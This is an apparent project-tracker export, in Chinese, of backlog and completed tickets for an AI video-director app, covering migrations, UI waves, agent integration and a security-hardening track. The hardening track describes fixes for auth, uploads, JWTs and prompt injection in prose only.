程式碼錨點：(碼中無 AIDV-18 註記)

AIDV-19 MySQL->Supabase 遷移 + 退役 Pinecone

故事 · Backlog · 優先 Low · 父卡 AIDV-33 · labels blocked,caution,needs-key

描述：pg + pgvector halfvec(3072) + HNSW。注意：transaction pooler:6543、migration ledger 回填、enum/extension 衝突。已拍板排在任務耐久化之後。缺 Supabase keys (貼 Railway)。

程式碼錨點：(碼中無 AIDV-19 註記)

AIDV-20 presence + Redis SET NX 生成鎖

故事 · 完成 · 優先 Lowest · 父卡 AIDV-33

描述：並發生成不互踩。依賴 Redis。

程式碼錨點 (7)：

- server/routers/director.ts:1778
- server/routers/director.ts:2127
- server/\_core/index.ts:296
- server/\_core/index.ts:741
- server/\_core/generationLock.test.ts:2
- server/\_core/env.validated.ts:325
- server/\_core/env.validated.ts:334

AIDV-21 Yjs/Hocuspocus (腳本) + tRPC subscription (Shot JSON)

故事 · Backlog · 優先 Lowest · 父卡 AIDV-33

描述：雙人即時編輯不丟字。

程式碼錨點：(碼中無 AIDV-21 註記)

AIDV-22 XState 收斂

故事 · Backlog · 優先 Lowest · 父卡 AIDV-33

描述：只留段落/鏡號狀態機，其餘移除。依賴 M3。

程式碼錨點：(碼中無 AIDV-22 註記)

AIDV-23 可觀察/可審核/半唯讀 builder

故事 · Backlog · 優先 Lowest · 父卡 AIDV-34

描述：代理建置區第一階段。

程式碼錨點：(碼中無 AIDV-23 註記)

AIDV-24 BYOMCP 權限/稽核

故事 · Backlog · 優先 Lowest · 父卡 AIDV-34

描述：使用者自帶 MCP 的權限模型與稽核。

程式碼錨點：(碼中無 AIDV-24 註記)

AIDV-25 orchestrator + 專責 worker

故事 · Backlog · 優先 Lowest · 父卡 AIDV-34

描述：代理編排與專責 worker。

程式碼錨點：(碼中無 AIDV-25 註記)

AIDV-26 決策紀錄：prompt↔asset=junction

故事 · 完成 · 優先 Medium · 父卡 AIDV-31 · labels decision-resolved

描述：已拍板並落地 (PR #864、migration 0075)。

PR：#864

Migration 編號：0075

程式碼錨點：(碼中無 AIDV-26 註記)

AIDV-27 決策紀錄：LoRA 改走 fal.ai

故事 · 完成 · 優先 Medium · 父卡 AIDV-32 · labels decision-resolved

描述：保留 Replicate 備援。已拍板。

程式碼錨點：(碼中無 AIDV-27 註記)

AIDV-28 決策紀錄：halfvec(3072)+HNSW／自建 JWT／Supabase 排後

故事 · 完成 · 優先 Medium · 父卡 AIDV-33 · labels decision-resolved

描述：後端方向已拍板：向量 halfvec(3072)+HNSW；維持自建 JWT；Supabase 排任務耐久化之後。

程式碼錨點：(碼中無 AIDV-28 註記)

AIDV-29 避雷備忘

故事 · Backlog · 優先 Medium · 父卡 AIDV-31 · labels caution

描述：Sora 2 已停用勿用；OpenAI 可重用 prompt 物件 2026-11-30 下線勿硬綁；影片價以 fal 帳號頁為準；本機 jsdom29+vitest2 localStorage 失效 (main baseline 13 failed 為既有問題)。

程式碼錨點：(碼中無 AIDV-29 註記)

AIDV-30 Wave 0 前端骨架/導演台

大型工作 · 完成 · 優先 Medium · labels wave0

描述：四殼一脊椎前端骨架 + 三欄導演台。全部完成 (PR #852—#862)。

PR：#852, #862

程式碼錨點：(碼中無 AIDV-30 註記)

AIDV-31 Wave 1 SSOT+接線

大型工作 · 進行中 · 優先 Medium · labels wave1

描述：假資料換真資料、prompt↔asset 關聯、供應商門面。進行中。

程式碼錨點：(碼中無 AIDV-31 註記)

AIDV-32 Wave 2 耐久任務/成本/血統

大型工作 · Backlog · 優先 Medium · labels wave2

描述：任務耐久化、成本落帳閉環、上傳、fal 雙層生影片。

程式碼錨點：(碼中無 AIDV-32 註記)

AIDV-33 Wave 3 重後端/基建/協作

大型工作 · Backlog · 優先 Medium · labels wave3

描述：M3 段落狀態機、Supabase 遷移、生成鎖、即時協作、XState 收斂。

程式碼錨點：(碼中無 AIDV-33 註記)

AIDV-34 Wave 4 代理建置區/BYOMCP

大型工作 · Backlog · 優先 Medium · labels wave4

描述：可觀察/可審核/半唯讀 builder -> BYOMCP 權限稽核 -> orchestrator+worker。

程式碼錨點：(碼中無 AIDV-34 註記)

AIDV-35 瀏覽器模擬創作者實測 (E2E persona 測試)

故事 · Backlog · 優先 Medium · 父卡 AIDV-33 · labels e2e, persona-test

描述：Bruce 06-12 指示第 5 點：開發後期由 AI 同事真實操作瀏覽器進入 director.today，模擬創作者完整做一個專案 (企劃->腳本->分鏡->生成->輸出)，檢查流程是否順、哪裡要調整。素材/腳本來源：Google Drive 雲端專案資料夾

https://drive.google.com/drive/folders/1yiUalrtzllnprQPXiLXcd55-l1IVUEm (內容仍持續變動，實測前需重新同步盤點)。技術路徑已具備：Claude in Chrome (瀏覽器操作) + Preview 工具 (本機測試)。前置：Wave 2 任務耐久化完成後較有意義 (長任務不斷線)。

程式碼錨點：(碼中無 AIDV-35 註記)

AIDV-36 W1-3 promptVault 第 6 條接縫 (adapters/promptVault.trpc.ts)

故事 · 完成 · 優先 Medium · 父卡 AIDV-31

描述：六件套 1-3／子系統 2-12。promptLibrary.list/getById/create/incrementUseCount 經薄接縫；G9 後加 promptAssets 雙向查詢。量級 S。驗收：tsc 綠、四方法經接縫、不放業務邏輯。

連結資料表 (2)：prompt\_library, prompt\_assets

程式碼錨點：(碼中無 AIDV-36 註記)

AIDV-37 W1-4 Flow TV 放映皮

故事 · 完成 · 優先 Medium · 父卡 AIDV-31

描述：六件套 1-4／2-12。全屏播放器 + Hide Prompt + 頻道 + 格狀/清單；接既有 promptLibrary + denormalized seed/prompt。量級 M。驗收：可全屏放映/重用/fork。

連結資料表 (1)：prompt\_library

程式碼錨點：(碼中無 AIDV-37 註記)

AIDV-38 W1-5 單模型遊樂場統一目錄頁

故事 · 完成 · 優先 Medium · 父卡 AIDV-31

描述：六件套 1-5／2-13。ModelCard；registry 為準、catalog 當情報層。量級 M。

程式碼錨點：（碼中無 AIDV-38 註記）

AIDV-39 W1-6 per-引擎設定面板 + 個人化面板完善

故事 · 完成 · 優先 Medium · 父卡 AIDV-31

描述：六件套 1-6／2-16+2-18。量級 S。

程式碼錨點：（碼中無 AIDV-39 註記）

AIDV-40 W1-7 工程衛生

故事 · 完成 · 優先 Medium · 父卡 AIDV-31

描述：六件套 1-7／避雷 #2#10#11。scan-shell-routes 進 npm scripts；Wave0 註解 2-16->2-17 修正；projectGateway any-cast 逐方法 typed 化開跑。量級 S。驗收：驗收腳本一鍵跑。

程式碼錨點：（碼中無 AIDV-40 註記）

AIDV-41 W1-8 從零引導表單細修 + 四態文案抽核

故事 · 完成 · 優先 Medium · 父卡 AIDV-31

描述：六件套 1-8／2-1。全畫布 empty/loading/error/success 文案抽核（error 標真實 procedure 名）。量級 S。

程式碼錨點：（碼中無 AIDV-41 註記）

AIDV-42 W1-9 手機版導演台（⑧-H7）

故事 · 完成 · 優先 Medium · 父卡 AIDV-31

描述：來自 ⑧ 補遺 H7（待 Bruce 審）：VideoCockpit 幾乎零 RWD，手機三欄縱疊不可用。方案：<lg 斷點三欄改頁籤 + 底部抽屜；Bruce 主場景優先。量級 M。驗收：手機可完整走六步工作流。

程式碼錨點：（碼中無 AIDV-42 註記）

AIDV-43 W2-E G10 user\_workflows 工作流持久化

故事 · Backlog · 優先 Medium · 父卡 AIDV-32

描述：六件套 2-E／G10／2-17。user\_workflows 表（D11 建議單表 stepsJson）+ workflow.\\* 薄 router（不硬掛 spirit）+ Provider hydrate。量級 M。驗收：自訂工作流跨裝置不丟。

程式碼錨點：（碼中無 AIDV-43 註記）

AIDV-44 W2-F G7 segment/session 狀態機（shared）

故事 · Backlog · 優先 Medium · 父卡 AIDV-32

描述：六件套 2-F／G7／2-4。segmentMachine/sessionMachine shared 定義，server 驗證 + client 驅動；XState 只在此使用不擴散（W3 AIDV-22 收斂其餘）。量級 M。驗收：非法轉移全拒 422、合法 6 條單測。

程式碼錨點：（碼中無 AIDV-44 註記）

AIDV-45 W2-G G11 LoRA 調度 UI（fal 為主）

故事 · Backlog · 優先 Medium · 父卡 AIDV-32

描述：六件套 2-G／G11／2-7+2-8。[注意] D1 已於 06-12 拍板：fal-ai/flux-lora-fast-training 為主、Replicate 備援（取代 04 文件建議 A）-> 需做 fal LoRA 輪詢/回寫與 fine\_tuned\_models 欄位對映（+M）。角色/場景卡完整版 + 訓練面板；訓練佇列入 BullMQ。驗收：上傳->排隊->完成->可引用 端到端。

連結資料表（1）：fine\_tuned\_models

程式碼錨點：（碼中無 AIDV-45 註記）

AIDV-46 W2-H world 畫布（WorldPanel 完成度 Meter）

故事 · Backlog · 優先 Medium · 父卡 AIDV-32

描述：六件套 2-H／2-2。完成度 Meter + 兩入口。量級 M。

程式碼錨點：（碼中無 AIDV-46 註記）

AIDV-47 W2-I G12 前置修帳

故事 · Backlog · 優先 Medium · 父卡 AIDV-32

描述：六件套 2-I／G12 步驟 0／避雷 #4。migration 重複編號（0008/0033/0067 各兩檔、缺 0026/0035）重排 + relations.ts（0 relations 空殼）回填；與 AIDV-17（孤兒 0071–0074 處置）同批處理。提前做降 Wave 4 風險。量級 S。驗收：drizzle journal lint 乾淨。

Migration 編號：0008, 0026, 0033, 0035, 0067, 0071, 0074

程式碼錨點：（碼中無 AIDV-47 註記）

AIDV-48 W3-B 初剪編輯器 rough-cut + 匯出打包

故事 · Backlog · 優先 Lowest · 父卡 AIDV-33

描述：六件套 3-B／2-4 Step4／⑦-3b 初剪規格全文。時間軌/裁切 ±0.5s 有效長 ≥0.5s/音軌配對/逐段預覽/未核准硬擋；匯出走既有 background\_jobs jobType=zip\_export -> 成品入庫 + timeline。量級 L。

連結資料表（1）：background\_jobs

程式碼錨點：（碼中無 AIDV-48 註記）

AIDV-49    W3-D 代理操作面板（唯讀版起步）

故事 · Backlog · 優先 Lowest · 父卡 AIDV-33

描述： 六件套 3-D／2-10／D14 建議。commander run 觀測（orchestration\_runs 視覺化）+ 逐步執行確認；可組裝 builder 留 Wave 4。量級 M。

連結資料表（1）：[orchestration\\_runs](#)

程式碼錨點：（碼中無 AIDV-49 註記）

AIDV-50    W3-E 排程批次走 videoSession + 段落綁定

故事 · Backlog · 優先 Lowest · 父卡 AIDV-33

描述： 六件套 3-E／2-4+2-5+2-6。「生成就緒鏡（N）」批次改走 videoSession（取代 batchGenerateCostar 直呼）；voice/music AssetId 落 segment。量級 M。

程式碼錨點：（碼中無 AIDV-50 註記）

AIDV-51    W3-F 血統檢視 v1

故事 · Backlog · 優先 Lowest · 父卡 AIDV-33

描述： 六件套 3-F／2-9+2-12。Sidecar「版本 diff／資產血統」接 asset\_generation\_events + prompt\_assets（junction 已落地 #864）。量級 M。

PR：[#864](#)

連結資料表（1）：[prompt\\_assets](#)

程式碼錨點：（碼中無 AIDV-51 註記）

AIDV-52    W3-G strangler 刪除：P2 舊三欄

故事 · Backlog · 優先 Lowest · 父卡 AIDV-33

描述： 六件套 3-G／原則 3.1-3。DirectorConsole GA 後刪 shells/video/columns/\* 被取代部分 + ENABLE\_DIRECTOR\_CONSOLE 降常開。量級 S。

程式碼錨點：（碼中無 AIDV-52 註記）

AIDV-53    W4-E 暗色「影院/夜間」次模式

故事 · Backlog · 優先 Lowest · 父卡 AIDV-34 · labels decision-resolved

描述： 六件套 4-E／D6（建議延後，佔位卡）。token 架構已預留語意層換膚。量級 M。

程式碼錨點：（碼中無 AIDV-53 註記）

AIDV-54    W4-F strangler 收尾刪除

故事 · Backlog · 優先 Lowest · 父卡 AIDV-34

描述： 六件套 4-F。直傳 GA 刪 base64 殘留；耐久化 GA 刪 in-memory fallback；MySQL 唯讀保險期滿下線。量級 S。

程式碼錨點：（碼中無 AIDV-54 註記）

AIDV-55    Wave H 營運與安全硬化

大型工作 · Backlog · 優先 Medium · labels wave-h

描述： ⑧ 補遺規劃（Bruce 2026-06-13 全部確定啟動）的平行硬化軌：高嚴重 H 系列 + 中嚴重 M 系列。與 Wave 1—4 穿插進行，多數免費。

程式碼錨點：（碼中無 AIDV-55 註記）

AIDV-56    H1 CI 自動把關（GitHub Actions PR gate）

故事 · 完成 · 優先 High · 父卡 AIDV-55 · labels wave-h

描述： ⑧-H1。github/workflows：PR 跑 tsc + vitest + check:routes/navigation/shell-routes，紅燈擋合併。零 github 現況。免費。

程式碼錨點：（碼中無 AIDV-56 註記）

AIDV-57    H2 資料庫備份 + 還原演練

故事 · 完成 · 優先 Medium · 父卡 AIDV-55 · labels wave-h

描述： ⑧-H2。①Bruce 確認 Railway MySQL 備份開啟；②每日 mysqldump->R2 cron；③還原 SOP 文件 + 演練一次。

程式碼錨點（2）：

- server/jobs/dbSnapshotJob.test.ts:2
- server/jobs/dbSnapshotJob.ts:2

AIDV-58    H3 監控鎖門 + 錯誤追蹤

故事 · 完成 · 優先 Medium · 父卡 AIDV-55 · labels wave-h

描述： ⑧-H3。/api/metrics 加 admin auth；SSE 路由加 auth（任意 jobId 可訂閱他人事件）；接 Sentry 免費版 + UptimeRobot。

程式碼錨點（17）：

- server/\_core/errorTracking.ts:2
- server/\_core/index.ts:289
- server/\_core/index.ts:629
- server/\_core/index.ts:641
- server/\_core/index.ts:661
- server/\_core/env.validated.ts:350
- server/\_core/env.validated.ts:361
- server/\_core/metricsRoute.ts:2
- server/\_core/metricsRoute.ts:80
- server/\_core/metricsRoute.test.ts:2
- server/\_core/errorTracking.test.ts:2
- server/sseRoute.ts:20
- server/sseRoute.ts:57

- server/sseRoute.ts:172
- server/sseRoute.test.ts:2
- shared/const.test.ts:2
- shared/const.ts:28

AIDV-59 H4 JWT 硬化

故事 · 完成 · 優先 Medium · 父卡 AIDV-55 · labels wave-h

描述： ⑧-H4。效期 1 年>7-30 天；JWT\_SECRET 缺失 prod fail-fast（現 fallback DEV secret 只 warn）；後續 revocation 機制另卡。

程式碼錨點（29）：

- server/jwt-hardening.test.ts:2
- server/jwt-hardening.test.ts:153
- server/jwt-hardening.test.ts:201
- server/secret-crypto-key-source.test.ts:2
- server/secret-crypto-key-source.test.ts:4
- server/secret-crypto-key-source.test.ts:54
- server/secret-crypto-key-source.test.ts:65
- server/services/auth/AuthFacade.ts:52
- server/\_core/oauth.ts:41
- server/\_core/oauth.ts:258
- server/\_core/oauth.ts:386
- server/\_core/googleAuth.ts:32
- server/\_core/googleAuth.ts:82
- server/\_core/googleAuth.ts:99
- server/\_core/googleAuth.ts:122
- server/\_core/googleAuth.ts:140
- server/\_core/index.ts:285
- server/\_core/env.validated.ts:112
- server/\_core/env.validated.ts:131
- server/\_core/env.validated.ts:160
- server/\_core/env.validated.ts:283
- server/\_core/sdk.ts:159
- server/\_core/sdk.ts:188
- server/\_core/secretCrypto.ts:5
- server/\_core/secretCrypto.ts:26
- server/env-self-repair.test.ts:119
- server/env-self-repair.test.ts:138
- server/routes/localAuth.ts:111
- shared/const.ts:4

AIDV-60 H5 AI 閘道鎖門

故事 · 完成 · 優先 Medium · 父卡 AIDV-55 · labels wave-h

描述： ⑧-H5。aiProxy optionalVerifyToken->必須登入；checkRateLimit fail-open->fail-closed；掛上已寫好未掛載的 rateLimiters.llm/llmPerUser/upload。建議與 AIDV-11 門面同 PR。

程式碼錨點（4）：

- server/\_core/index.ts:398
- server/ai-proxy-auth.test.ts:2
- server/routes/aiProxy.ts:118
- server/routes/aiProxy.ts:230

AIDV-61 H6 部署回滾 SOP + migration 失敗行為

故事 · 完成 · 優先 Medium · 父卡 AIDV-55 · labels wave-h

描述： ⑧-H6。Railway 回滾步驟文件；評估 migration 失敗時擋啟動（現 log 後照常服務）。

程式碼錨點（6）：

- server/db.ts:184
- server/db.ts:236
- server/db.ts:304
- server/\_core/index.ts:335
- server/\_core/env.validated.ts:368
- server/migration-fail-closed.test.ts:2

AIDV-62 H8b userRating->模型推薦迴路

故事 · Backlog · 優先 Medium · 父卡 AIDV-55 · labels wave-h

描述： ⑧-H8 後半（eval 已修）。generation\_history.userRating>=4 加權進 agentModelPicks 讀側；評分終於回頭教系統。

連結資料表（2）：[generation\\_history](#), [agent\\_model\\_picks](#)

程式碼錨點（1）：

- client/src/shells/video/drawers/PromptWorkbench.tsx:197

AIDV-63 H9 個資出口 (刪帳號/資料匯出/log 保留)

故事 · Backlog · 優先 Medium · 父卡 AIDV-55 · labels wave-h

描述： ⑧-H9。刪帳號 procedure+UI；使用者資料匯出；login\_history 等 90 天保留 purge job。

連結資料表 (1)：login\_history

程式碼錨點：(碼中無 AIDV-63 註記)

AIDV-64 M1 上傳檔案驗證 (magic-byte + 移除 SVG)

故事 · 完成 · 優先 Medium · 父卡 AIDV-55 · labels wave-h

描述： ⑧-M1。驗檔頭不信自報 MIME；SVG 移出 allowlist (stored-XSS)；掛 upload limiter。

程式碼錨點 (16)：

- server/signedUpload.ts:165
- server/signedUpload.ts:272
- server/upload-presign-route.test.ts:325
- server/\_core/index.ts:450
- server/upload-route.test.ts:36
- server/upload-route.test.ts:136
- server/upload-route.test.ts:355
- server/uploadRoute.ts:15
- server/uploadRoute.ts:55
- server/uploadRoute.ts:133
- server/uploadRoute.ts:186
- server/uploadRoute.ts:363
- server/uploadRoute.ts:487
- server/uploadRoute.ts:513
- server/uploadRoute.ts:754
- server/signed-upload.test.ts:286

AIDV-65 M2 內容審核 fail-closed + 供應商安檢開啟

故事 · 完成 · 優先 Medium · 父卡 AIDV-55 · labels wave-h

描述： ⑧-M2。checkSafety 逾時/錯誤改擋下；fal enable\_safety\_checker 開回。

程式碼錨點 (19)：

- server/services/\_\_tests\_\_/contentModeration.test.ts:2
- server/services/\_\_tests\_\_/contentModeration.test.ts:139
- server/services/\_\_tests\_\_/contentModerationWiring.test.ts:2
- server/services/\_\_tests\_\_/contentModerationWiring.test.ts:117
- server/services/\_\_tests\_\_/contentModerationWiring.test.ts:147
- server/services/\_\_tests\_\_/contentModerationWiring.test.ts:188
- server/services/\_\_tests\_\_/contentModerationWiring.test.ts:232
- server/services/\_\_tests\_\_/contentModerationWiring.test.ts:298
- server/services/security/contentModeration.ts:2
- server/services/security/contentModeration.ts:34
- server/services/security/contentModeration.ts:75
- server/routers/videoStudio.ts:543
- server/\_core/env.validated.ts:382
- server/\_core/imageGeneration.ts:52
- server/routers.ts:976
- server/routers.ts:990
- server/routers.ts:1013
- server/routers.ts:1044
- server/routers.ts:1944

AIDV-66 M3 媒體儲存版本化/快照

故事 · Backlog · 優先 Medium · 父卡 AIDV-55 · labels wave-h

描述： ⑧-M3。R2 versioning 或定期快照；媒體不再單桶單份。

程式碼錨點：(碼中無 AIDV-66 註記)

AIDV-67 M4 儲存清理 job (R2 孤兒 + expiresAt)

故事 · Backlog · 優先 Medium · 父卡 AIDV-55 · labels wave-h

描述： ⑧-M4。資產刪除連動刪 R2 物件；expiresAt TTL 清理 cron。

程式碼錨點 (9)：

- server/jobs/assetCleanupJob.test.ts:2
- server/jobs/assetCleanupJob.ts:2
- server/services/assetCleanupService.test.ts:2
- server/services/assetCleanupService.ts:2
- server/storage.ts:494
- server/db.ts:1190
- server/db.ts:1215
- server/\_core/env.validated.ts:342
- server/routers.ts:4459

AIDV-68 M5 金鑰輪替與加密金鑰分離

故事 · Backlog · 優先 Medium · 父卡 AIDV-55 · labels wave-h

描述：⑧-M5。secretCrypto 與 JWT\_SECRET 解綁 + key versioning；externalServices 到期提醒接 job。

程式碼錨點：（碼中無 AIDV-68 註記）

AIDV-69 M6 RAG/教材庫注入側門安檢

故事 · 完成 · 優先 Medium · 父卡 AIDV-55 · labels wave-h

描述：⑧-M6。teachingArchive search snippet 與 ingest 文本過 orb-prompt-defense；contextPackets sanitize TODO 落實。

連結資料表（1）：[context\\_packets](#)

程式碼錨點（27）：

- server/context-packet-sanitize.test.ts:2
- server/services/spiritPromptEnhancer.ts:18
- server/services/spiritPromptEnhancer.ts:59
- server/services/spiritPromptEnhancer.ts:142
- server/services/\_\_tests\_\_/ragGuardSidedoorWiring.test.ts:2
- server/services/\_\_tests\_\_/ragInjectionGuard.test.ts:2
- server/services/\_\_tests\_\_/contentModerationWiring.test.ts:4
- server/services/orbTaskChainRunner.ts:209
- server/services/orbLLMReplan.ts:203
- server/services/security/ragInjectionGuard.ts:2
- server/services/security/ragInjectionGuard.ts:9
- server/services/security/ragInjectionGuard.ts:11
- server/services/security/ragInjectionGuard.ts:47
- server/services/security/ragInjectionGuard.ts:61
- server/services/security/ragInjectionGuard.ts:212
- server/services/security/ragInjectionGuard.ts:361
- server/services/security/ragInjectionGuard.ts:412
- server/services/director/planningService.ts:253
- server/services/director/scriptGenerationService.ts:142
- server/services/director/costarService.ts:93
- server/services/director/costarService.ts:99
- server/services/director/costarService.ts:123
- server/routers.ts:2136
- server/routers.ts:6896
- server/subsystems/contextPackets/contextPacketService.ts:114
- server/subsystems/contextPackets/contextPacketService.ts:231
- server/subsystems/contextPackets/contracts.ts:11

AIDV-70 M7 staging 環境

故事 · Backlog · 優先 Medium · 父卡 AIDV-55 · labels wave-h

描述：⑧-M7。Railway 第二環境 + 部署流程；前端旗標 runtime kill-switch 評估。

程式碼錨點：（碼中無 AIDV-70 註記）

AIDV-71 M8 巨檔拆分

故事 · 進行中 · 優先 Medium · 父卡 AIDV-55 · labels wave-h

描述：⑧-M8。routers.ts 9249 行與 6 支 4600+ 行巨頁，照 routers/ 既例逐步拆（每次小 PR）。

程式碼錨點（2）：

- server/routers/learnHub.seed.test.ts:4
- server/routers/learnHub.seed.ts:1

AIDV-72 M9 效能地雷拆除

故事 · Backlog · 優先 Medium · 父卡 AIDV-55 · labels wave-h

描述：⑧-M9。12MB vendor-markdown chunk 拆分；production 移除 vite-plugin-manus-runtime 367KB inline。

程式碼錨點：（碼中無 AIDV-72 註記）

AIDV-73 M10 TypeScript 債

故事 · Backlog · 優先 Medium · 父卡 AIDV-55 · labels wave-h

描述：⑧-M10。tsconfig exclude \\*\/\*/\*.test.ts 移除；as any 443 處逐步清（先 server 高風險區）。

程式碼錨點：（碼中無 AIDV-73 註記）

AIDV-74 Wave U：UIUX 視覺實裝（⑦ UIUX 設計 46 頁落地）

大型工作 · Backlog · 優先 Medium · labels uiux,wave-u

描述：Bruce 2026-06-13 指示（AIDISC 收件匣留言）：「UIUX 畫面需要加入開發規劃，而且這是最重視的，可以放在比較後面但不可以沒有開發。」  
範圍：把 Confluence AIDIR「⑦ UIUX 設計」46 頁（底層邏輯/設計系統/殼層/4 殼規格集/大調整計畫/原型改進 M1-M4/\\\_CONTRACT）逐頁對應到實際開發卡。已有部分散在各 Wave（W1-4 Flow TV、W1-5 遊樂場、W1-6 設定面板、W1-9 手機導演台、W4-E 影院次模式），本 Epic 收攏缺口、保證「每張設計稿都有對應實裝卡或明確不做的決議」。排程位置：依 Bruce 指示放在中後段（W1 既有 UIUX 卡照舊先做；缺口卡排 Wave 3/4 區間），但盤點卡（U-0）先行，確保規劃完整。亮色系定盤（D 速答卡）為全 Epic 的視覺基準。

程式碼錨點（4）：

- client/src/components/design-kit/index.ts:3

- client/src/components/design-kit/README.md:6  
- client/src/index.css:90  
- client/src/index.css:219

AIDV-75 U-0 盤點：⑦ UIUX 46 頁 ↔ 既有卡缺口清單（產出細項卡）

故事 · 進行中 · 優先 High · 父卡 AIDV-74 · labels uiux  
描述： 量級 S。逐頁掃 ⑦ UIUX 設計 46 頁，輸出三欄對照表：設計頁 -> 已覆蓋的卡 (W1-4/5/6/9、W4-E…) -> 缺口。 缺口逐項開新卡掛本 Epic（量級/依賴/驗收寫清楚），排 Wave 3/4 區間；明確不做的標 decision 給 Bruce 拍板。 驗收：46 頁每頁都有去處（卡號或不做決議），對照表發佈到 AIDIR ⑦ 首頁 + AIDISC 收件匣通知 Bruce。  
程式碼錨點：（碼中無 AIDV-75 註記）

AIDV-76 P0：生產 migration 卡死——0067 之後全沒套用，影片專案功能 500

漏洞 · 完成 · 優先 Medium · 父卡 AIDV-31 · labels caution,prod  
描述： 發現：2026-06-13 07:00 (台北)，依 Bruce 新慣例用真瀏覽器檢查 https://director.today/ 抓到。  
症狀：專案清單/建立專案/意圖紀錄/提示詞關聯資產全部 500；世界觀、提示詞庫等老功能正常。creative\_projects、orchestration\_runs、prompt\_assets 三張表在正式站從未建立。 根因：0067 兩個工程錯誤 (MySQL 不支援的 CREATE INDEX IF NOT EXISTS + 多語句無分段) -> 首次失敗記帳回滾；但 0066 的裸 ALTER 已生效 -> 每次開機重跑 0066 撞「欄位已存在」-> 遷移系統永久卡死、失敗照常開站 (⑧-H6 的活案例)。 修復 PR：https://github.com/aa0968111723-prog/healing-studio/pull/872 (0066–0069 全改可安全重跑 + 5 條鐵則守門測試)。 [注意] 合併順序：#872 必須最先合，再 #869 -> #870 -> #871；部署後我會再用瀏覽器驗證  
PR：#869, #870, #871, #872  
連結資料表 (3)：creative\_projects, orchestration\_runs, prompt\_assets  
Migration 編號：0066, 0067, 0069  
程式碼錨點：（碼中無 AIDV-76 註記）

AIDV-77 Railway MCP 接入（官方遠端版）+ 自架 mcp-server 處置

故事 · Backlog · 優先 Medium · 父卡 AIDV-55 · labels tooling,wave-h  
描述： 目的：讓 AI 同事能直接查 Railway 部署/日誌/環境變數/重新部署，之後每次 PR 部署驗證、抓生產問題（像 06-13 的 migration 卡死 P0）都不要再瞎子摸象。 已完成 (2026-06-13)：\ 官方遠端 MCP (https://mcp.railway.com, OAuth 短效 token、可隨時撤銷) 已寫入本機 Claude Code user 層設定 (\~/claude.json, 備份 .bak-railway)。下次 session 啟動生效，首次使用會跳瀏覽器 OAuth 請 Bruce 按授權。 待 Bruce：1\ 下次 session 首次用 Railway 工具時，在瀏覽器按一下 OAuth 授權。 2\ 拍板：自架的 railway-mcp-server (服務 ID 9dac3115, 未部署) 怎麼處置。[注意] 安全提醒：它的 get\_environment\_variables 工具若無認證直接部署上公網，等於把全部生產金鑰 (FAL/JWT/DB 連線字串…) 暴露給任何知道網址的人；其  
程式碼錨點：（碼中無 AIDV-77 註記）

AIDV-78 Wave I 現有功能整合（既有 orb/spirit/世界觀/教材庫 -> 導演台脊椎接線）

大型工作 · Backlog · 優先 Medium · labels integration,wave-i,待議  
描述： \*\*提案中 (待 Bruce 拍板) \*\*。不動既有 Wave 0—4 定錨；本軌為新增平行軌。 \*\*核心發現 (2026-06-13 程式碼實證) \*\*：repo 內有一整套成熟、多為 LIVE 的代理/創作系統 (15 精靈 + 多代理編排器 + 工作流引擎 + 帶確認門的工具執行器 + 長期記憶 + 教材庫 RAG + 世界觀/分鏡/真實地球/圖影音三大工作室 200+ procedure)，但都活在舊頁面，\*\*新四穀導演台脊椎幾乎沒接到\*\*。最高 CP 值的未來工作 = 把既有功能接進新導演台，而非再蓋新功能。 詳見 docs/plan/AIDV-deep-plan-2026-06-13.md (Confluence「⑩ 深度規劃」鏡像；Confluence 待重新授權後上傳)。 建議排程：Wave 1 收尾後與 Wave 2 並行 (多為 UI 接線，低風險、不碰金鑰)。 本 Epic 下 9 張 Story 全標「待議」+「integration」。  
程式碼錨點：（碼中無 AIDV-78 註記）

AIDV-79 I-1 導演台光球接既有 orb/spirit 編排系統（最高 CP 值）

故事 · 完成 · 優先 Medium · 父卡 AIDV-78 · labels decision-resolved,integration,wave-i  
描述： \*\*白話\*\*：導演台右下角的光球目前只是狀態燈；接上後面那套真精靈系統後，它就能真的幫你生圖/生影/配音。這是 AI 代理 × UIUX × 影片流程三者的交會點。 \*\*做什麼\*\*：`AmbientOrb.tsx` 的 collab 模式 -> 接 `server/services/agentToolExecutor.ts` (已內建確認門 + 成本，符合「確認門 + 成本常駐」UI 原則) -> 透過 `server/services/spiritDispatcher.ts` 派工。脊椎 `ProjectSpineProvider` 把當前專案上下文當成 agent context packet。 \*\*檔案證據\*\*：client/src/shells/video/console/AmbientOrb.tsx、server/services/orbTaskOrchestrator.ts、agentToolExecutor.ts、spiritDispatcher.ts、shared/global-agent-orchestrator.ts \*\*驗收\*\*：在導演台對  
程式碼錨點 (4)：  
- client/src/shells/video/drawers/AgentCatalog.test.tsx:3  
- client/src/shells/video/drawers/AgentCatalog.test.tsx:56  
- client/src/shells/video/drawers/AgentCatalog.tsx:2  
- client/src/shells/video/DirectorConsoleProvider.tsx:42

AIDV-80 I-2 世界觀自動風格注入生成管線

故事 · 完成 · 優先 Medium · 父卡 AIDV-78 · labels decision-resolved,integration,wave-i  
描述： \*\*白話\*\*：選定一個世界後，它的視覺風格、音樂主題、角色長相應該自動套進每次生成，不必每次手動貼。 \*\*做什麼\*\*：用 `worldbuilding.ts` 的 `summarizeForPrompt` / `buildCharacterConsistencyPrompt` / `buildSceneConsistencyPrompt` 把選定世界的 styleProfiles + musicThemes + 角色一致性 prompt 自動 prepend 到圖/影/音生成參數，經脊椎 packet 傳遞。 \*\*檔案證據\*\*：server/routers/worldbuilding.ts(20 procedure)、shared/worldbuilding-types.ts、server/routers/director.ts、imageStudio.ts/videoStudio.ts  
\*\*驗收\*\*：同一專案連續生成的圖/影視覺一致；切換世界即切換風格。 \*\*依賴\*\*：worldbuilding (LIVE)、生成管線。 \*\*建議分支\*\*：feat/i-2-wo  
程式碼錨點 (6)：  
- client/src/config/videoFlags.ts:62  
- client/src/spine/worldStyle.test.ts:2  
- client/src/spine/worldStyle.ts:2

- client/src/spine/ProjectSpineProvider.tsx:189  
- client/src/spine/projectGateway.ts:438  
- client/src/spine/types.ts:104

## AIDV-81 I-3 劇本->分鏡自動骨架

故事 · 完成 · 優先 Medium · 父卡 AIDV-78 · labels decision-resolved,integration,wave-i

